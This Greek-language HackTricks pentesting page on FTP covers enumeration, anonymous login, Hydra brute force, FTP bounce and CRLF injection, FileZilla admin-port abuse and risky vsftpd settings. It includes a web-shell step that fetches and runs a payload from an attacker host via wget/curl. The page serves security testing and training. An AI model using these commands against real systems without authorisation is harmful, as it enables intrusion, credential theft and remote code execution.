21 - Pentesting FTP
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Το File Transfer Protocol (FTP) χρησιμεύει ως πρότυπο πρωτόκολλο για μεταφορά αρχείων σε ένα υπολογιστικό δίκτυο μεταξύ διακομιστή και πελάτη.
Είναι ένα πρωτόκολλο plain-text που χρησιμοποιεί ως new line character 0x0d 0x0a, οπότε μερικές φορές χρειάζεται να συνδεθείτε χρησιμοποιώντας telnet ή nc -C.
Προεπιλεγμένη Θύρα: 21
PORT STATE SERVICE
21/tcp open ftp
Συνδέσεις Active & Passive
Στο Active FTP ο FTP client πρώτα initiates τον control connection από την port N προς την command port του FTP Server – port 21. Ο client στη συνέχεια listens στην port N+1 και στέλνει την port N+1 στον FTP Server. Ο FTP Server τότε initiates το data connection, από its port M to the port N+1 του FTP Client.
Ωστόσο, αν ο FTP Client έχει ρύθμιση firewall που ελέγχει τις εισερχόμενες data connections από το εξωτερικό, τότε το Active FTP μπορεί να αποτελέσει πρόβλημα. Μια εφικτή λύση για αυτό είναι το Passive FTP.
Στο Passive FTP, ο client initiates τον control connection από την port N προς την port 21 του FTP Server. Μετά από αυτό, ο client εκδίδει την passv comand. Ο server τότε στέλνει στον client έναν από τους port του, αριθμό M. Και ο client initiates το data connection από its port P to port M του FTP Server.
Source: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/
Αποσφαλμάτωση Συνδέσεων
Οι εντολές FTP debug και trace μπορούν να χρησιμοποιηθούν για να δουν πώς γίνεται η επικοινωνία.
Enumeration
Banner Grabbing
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
Συνδεθείτε στο FTP χρησιμοποιώντας starttls
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password
Unauth enum
Με nmap
sudo nmap -sV -p21 -sC -A 10.10.10.10
Μπορείτε να χρησιμοποιήσετε τις εντολές HELP και FEAT για να αποκτήσετε πληροφορίες σχετικά με τον FTP server:
HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD XCWD CDUP XCUP SMNT* QUIT PORT PASV
214-EPRT EPSV ALLO* RNFR RNTO DELE MDTM RMD
214-XRMD MKD XMKD PWD XPWD SIZE SYST HELP
214-NOOP FEAT OPTS AUTH CCC* CONF* ENC* MIC*
214-PBSZ PROT TYPE STRU MODE RETR STOR STOU
214-APPE REST ABOR USER PASS ACCT* REIN* LIST
214-NLST STAT SITE MLSD MLST
214 Direct comments to root@drei.work
FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End
STAT
#Info about the FTP server (version, configs, status...)
Ανώνυμη σύνδεση
anonymous : anonymous
_anonymous :
_ftp : ftp
ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit
Brute force
Εδώ θα βρείτε μια λίστα με default ftp credentials: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
Αυτοματοποιημένο
Οι έλεγχοι Anon login και bounce FTP εκτελούνται από προεπιλογή από το nmap με την επιλογή -sC ή:
nmap --script ftp-* -p 21 <ip>
Σύνδεση μέσω προγράμματος περιήγησης
Μπορείτε να συνδεθείτε σε έναν FTP server μέσω προγράμματος περιήγησης (π.χ. Firefox) χρησιμοποιώντας μια διεύθυνση URL όπως:
ftp://anonymous:anonymous@10.10.10.98
Σημειώστε ότι αν μια web application στέλνει δεδομένα που ελέγχονται από έναν χρήστη directly to a FTP server, μπορείτε να στείλετε double URL encode %0d%0a (σε double URL encode αυτό είναι %250d%250a) bytes και να κάνετε τον FTP server perform arbitrary actions. Μια από αυτές τις πιθανές arbitrary actions είναι να κατεβάσει περιεχόμενο από έναν server που ελέγχεται από τον χρήστη, να εκτελέσει port scanning ή να προσπαθήσει να επικοινωνήσει με άλλες υπηρεσίες βασισμένες σε plain-text (όπως http).
Κατέβασμα όλων των αρχείων από FTP
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
Αν το user/password σας περιέχει ειδικούς χαρακτήρες, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή:
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
FTP root mapped to webroot (XAMPP)
- Το XAMPP/ProFTPD συχνά αντιστοιχίζει το FTP root στο
/opt/lampp/htdocs, επομένως αδύναμοι κωδικοί σε service accounts όπωςdaemonήnobodyσας επιτρέπουν να upload a PHP web shell directly into the served webroot. - Μετά το upload, ενεργοποιήστε έναν architecture-aware download/exec stager μέσω του shell, για παράδειγμα:
webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), που κατεβάζει ένα checksum-validated payload, το αποθηκεύει (π.χ.init_start), κάνειchmod +xκαι το τρέχει. - Αν ο τρέχων φάκελος δεν είναι writable/executable, ο stager επιστρέφει σε
/tmp, οπότε δοκιμάστε web paths και filesystem permissions μετά το upload.
Some FTP commands
USER usernamePASS passwordHELPΟ server δείχνει ποιες εντολές υποστηρίζονταιPORT 127,0,0,1,0,80Αυτό θα υποδείξει στον FTP server να δημιουργήσει σύνδεση με το IP 127.0.0.1 στην θύρα 80 (πρέπει να βάλετε το 5ο στοιχείο ως “0” και το 6ο ως την πόρτα σε δεκαδική μορφή ή να χρησιμοποιήσετε το 5ο και 6ο για να εκφράσετε την πόρτα σε hex).EPRT |2|127.0.0.1|80|Αυτό θα υποδείξει στον FTP server να δημιουργήσει μία TCP σύνδεση (υποδεικνυόμενη με “2”) με το IP 127.0.0.1 στην πόρτα 80. Αυτή η εντολή supports IPv6.LISTΣτέλνει τη λίστα των αρχείων στον τρέχοντα φάκελοLIST -RΚαταλόγος αναδρομικά (αν το επιτρέπει ο server)APPE /path/something.txtΥποδεικνύει στον FTP να αποθηκεύσει τα δεδομένα που λαμβάνονται από μια passive σύνδεση ή από μια PORT/EPRT σύνδεση σε ένα αρχείο. Αν το αρχείο υπάρχει, θα προσαρτήσει τα δεδομένα.STOR /path/something.txtΌπως τοAPPEαλλά θα αντικαταστήσει τα αρχείαSTOU /path/something.txtΌπως τοAPPE, αλλά αν υπάρχει δεν θα κάνει τίποτα.RETR /path/to/fileΠρέπει να δημιουργηθεί passive ή port σύνδεση. Στη συνέχεια, ο FTP server θα στείλει το υποδεικνυόμενο αρχείο μέσω αυτής της σύνδεσηςREST 6Υποδεικνύει στον server ότι την επόμενη φορά που θα στείλει κάτι μεRETRθα πρέπει να ξεκινήσει από το 6ο byte.TYPE iΟρίζει τη μεταφορά σε binaryPASVΑνοίγει μια passive σύνδεση και υποδεικνύει στον χρήστη που μπορεί να συνδεθείPUT /tmp/file.txtΑνέβασε το υποδεικνυόμενο αρχείο στο FTP
.png)
FTPBounce attack
Κάποιοι FTP servers επιτρέπουν την εντολή PORT. Αυτή η εντολή μπορεί να χρησιμοποιηθεί για να υποδείξετε στον server ότι θέλετε να συνδεθεί σε άλλον FTP server σε κάποια θύρα. Με αυτόν τον τρόπο, μπορείτε να σκανάρετε ποιες θύρες ενός host είναι ανοιχτές μέσω ενός FTP server.
Μάθετε εδώ πώς να καταχραστείτε έναν FTP server για να σκανάρετε θύρες.
Μπορείτε επίσης να καταχραστείτε αυτή τη συμπεριφορά για να κάνετε έναν FTP server να αλληλεπιδράσει με άλλα πρωτόκολλα. Μπορείτε να upload a file containing an HTTP request και να κάνετε τον ευάλωτο FTP server να send it to an arbitrary HTTP server (ίσως για να προσθέσει έναν νέο admin user?) ή ακόμα να ανεβάσετε ένα FTP request και να κάνετε τον ευάλωτο FTP server να κατεβάσει ένα αρχείο από διαφορετικό FTP server.
Η θεωρία είναι απλή:
- Upload the request (inside a text file) to the vulnerable server. Θυμηθείτε ότι αν θέλετε να επικοινωνήσετε με άλλον HTTP ή FTP server πρέπει να αλλάξετε τις γραμμές με
0x0d 0x0a - Use
REST Xto avoid sending the characters you don’t want to send (ίσως για να ανεβάσετε το request μέσα στο αρχείο χρειάστηκε να βάλετε κάποιο image header στην αρχή) - Use
PORTto connect to the arbitrary server and service - Use
RETRto send the saved request to the server.
Είναι πολύ πιθανό ότι αυτό will throw an error like Socket not writable επειδή η σύνδεση δεν διαρκεί αρκετά για να στείλει τα δεδομένα με RETR. Προτάσεις για να το αποφύγετε:
- Αν στέλνετε ένα HTTP request, βάλτε το ίδιο request το ένα μετά το άλλο μέχρι τουλάχιστον ~0.5MB. Όπως αυτό:
- Δοκιμάστε να γεμίσετε το request με “junk” data σχετικό με το πρωτόκολλο (αν μιλάτε με FTP ίσως απλά junk εντολές ή επανάληψη της εντολής
RETRγια να πάρετε το αρχείο) - Απλώς γεμίστε το request με πολλά null characters ή άλλα (διαχωρισμένα σε γραμμές ή όχι)
Όπως και να ’χει, εδώ έχετε ένα παλιό παράδειγμα για το πώς να καταχραστείτε αυτό για να κάνετε έναν FTP server να κατεβάσει ένα αρχείο από διαφορετικό FTP server.
Filezilla Server Vulnerability
FileZilla συνήθως binds σε μια local Administrative service για το FileZilla-Server (port 14147). Αν μπορείτε να δημιουργήσετε ένα tunnel από τη μηχανή σας για να αποκτήσετε πρόσβαση σε αυτή την πόρτα, μπορείτε να connect σε αυτή με blank password και να create έναν new user για την υπηρεσία FTP.
Config files
ftpusers
ftp.conf
proftpd.conf
vsftpd.conf
Post-Exploitation
Η προεπιλεγμένη διαμόρφωση του vsFTPd βρίσκεται στο /etc/vsftpd.conf. Εδώ μπορεί να βρείτε μερικές επικίνδυνες ρυθμίσεις:
anonymous_enable=YESanon_upload_enable=YESanon_mkdir_write_enable=YESanon_root=/home/username/ftp- Κατάλογος για anonymous.chown_uploads=YES- Αλλαγή ιδιοκτησίας των αρχείων που ανεβάζονται ως anonymous.chown_username=username- Ο χρήστης που λαμβάνει την ιδιοκτησία των αρχείων που ανεβάζονται ως anonymous.local_enable=YES- Επιτρέπει σε τοπικούς χρήστες να συνδεθούν.no_anon_password=YES- Μην ζητάτε κωδικό πρόσβασης από anonymous.write_enable=YES- Επιτρέπει τις εντολές: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, και SITE
Shodan
ftpport:21
HackTricks Automatic Commands
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi <<< so that your put is done via binary
wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21
Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp
Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}
Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}
Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp
Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


